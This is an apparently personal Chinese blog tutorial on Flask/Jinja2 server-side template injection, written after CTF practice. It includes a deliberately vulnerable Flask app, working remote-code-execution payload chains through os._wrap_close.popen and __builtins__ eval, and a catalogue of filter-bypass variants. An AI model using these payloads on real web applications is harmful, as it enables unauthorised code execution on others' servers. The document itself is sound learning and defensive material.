ssti入门

python ssti的学习(以flask为例)

起因

最近因为参加了newstar的新生赛,从第三周到第五周都有python ssti的题目,所以就简单的学习了一下ssti

flask入门

参考flask官方文档

Flask 是一个 Python 实现的 Web 开发微框架,是一个使用Python编写的轻量级web应用框架,其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。更多开发细节可以参考上面的flask中文文档。

ssti入门

SSTI 即服务端模板注入攻击(Server-Side Template Injection),服务端接受用户输入,将其作为 Web 应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等。

原理

ssti服务端模板注入,ssti主要为python的一些框架 jinja2、mako、tornado、django,PHP框架smarty twig,java框架jade 、velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

模板引擎

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制(相当于一个白名单,你只能用这个白名单里面的东西),但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗来说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
#python3
#Flask version:1.11.1
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run();

可以看到源代码这里直接将get方法的name变量输出了,由于前端是由jinja进行模板渲染的而在jinja中由{{}}包裹的会被当做变量输出,所以当我们输入{{7*7}}时就会输出49

ssti前置知识

在学习SSTI注入之前,我们首先需要了解一些python的魔术方法和内置类

class

__class__用于返回该对象所属的类

base

__base__用于获取类的基类(也称父类)

mro

__mro__返回解析方法调用的顺序。(当调用_mro_[1]或者-1时作用其实等同于_base_)

subclasses()

__subclasses__()可以获取类的所有子类

常用过滤器

参考官方文档

1
2
1,过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
2,可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.

其实就是可以实现一些简单的功能,比如attr()过滤器可以实现代替.,join()可以将字符串进行拼接,reverse可以将字符串反置等等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
length() # 获取一个序列或者字典的长度并将其返回

int():# 将值转换为int类型;

float():# 将值转换为float类型;

lower():# 将字符串转换为小写;

upper():# 将字符串转换为大写;

reverse():# 反转字符串;

replace(value,old,new): # 将value中的old替换为new

list():# 将变量转换为列表类型;

string():# 将变量转换成字符串类型;

join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

ssti语句构造

前面讲了这么多,终于可以开始了

首先我们需要拿到当前类,也就是使用**””._class_**

第二步拿到基类,也就是使用_base__获得,也可以使用__mro__获得(我学的时候就是因为不知道为什么一会用base一会用mro就觉得很烦躁…….)

第三步,拿到基类的子类,用__subclasses__(),拿到子类过后我们就可以寻找可以用于执行命令或者读取文件的类,大多数利用的是os._wrap_close这个类

接下来就可以利用os。_wrap_close,这个类中有popen方法,我们去调用它
首先
先调用它的__init__方法进行初始化类

然后调用globals获取到方法内以字典的形式返回的方法,属性等

到这一步就可以rce了

1
name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}

还有一个比较厉害的模块,就是__builtins__,它里面有eval()等函数,我们可以也利用它来进行RCE
它的payload是

1
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}

常见的绕过

当然前面讲的只是在没有任何过滤的情况下payload才这样写,在平时做题的时候或多或少都会有一些过滤

.被过滤

当.被过滤后意味着我们就不能使用.__class了

1
{{"".__class__}}={{""['__class__']}}

我们就可以这样来绕过.

_被过滤

当_被过滤时,有以下几种方法绕过

1
2
3
4
1、通过list获取字符列表,然后用pop来获取_,举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
2、可以通过十六进制,或者Unicode编码的方式进行绕过这个方法也通常用来绕过关键字绕过,举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

绕过[]

这种情况我还没遇见过,就参考的大佬的文章

这个时候可以使用__getitem__ 魔术方法,它的作用简单说就是可以把中括号转换为括号的形式,举个例子

1
__bases__[0]=__bases__.__getitem__(0)

绕过{{}}

有时候为了防止SSTI,可能程序员会ban掉{ {} },这个时候我们可以利用jinja2的语法,用{ %%}来进行RCE,举个例子
我们平常使用的payload

1
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}={%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%}

也可以借助for循环和if语句来执行命令

1
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}

绕过单双引号

当单引号和双引号被ban时,我们通常采用request.args.a,然后给a赋值这种方式来进行绕过,举个例子

1
{{url_for.__globals__[request.args.a]}}&a=__builtins__  等同于 {{url_for.__globals__['__builtins__']}}

绕过args

当使用args的方法绕过'"时,可能遇见args被ban的情况,这个时候可以采用request.cookiesrequest.values,他们利用的方式大同小异,示例如下

1
2
GET:{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

注:

如果只是过滤了单双引号的其中一个,那么就可以用另外一个来代替

绕过数字

有时候可能会遇见数字0-9被ban的情况,这个时候我们可以通过count来得到数字,举个例子

1
{{(dict(e=a)|join|count)}}

绕过关键字

有时候可能遇见classbase这种关键词被绕过的情况,我们这个时候通常使用的绕过方式是使用join拼接从而实现绕过,举个例子

1
{{dict(__in=a,it__=a)|join}}  =__init__

关键字绕过还可以用16进制和unicode编码进行绕过

参考链接


ssti入门
https://zoceanyq.github.io/2022/10/18/ssti入门/
作者
ocean
发布于
2022年10月18日
许可协议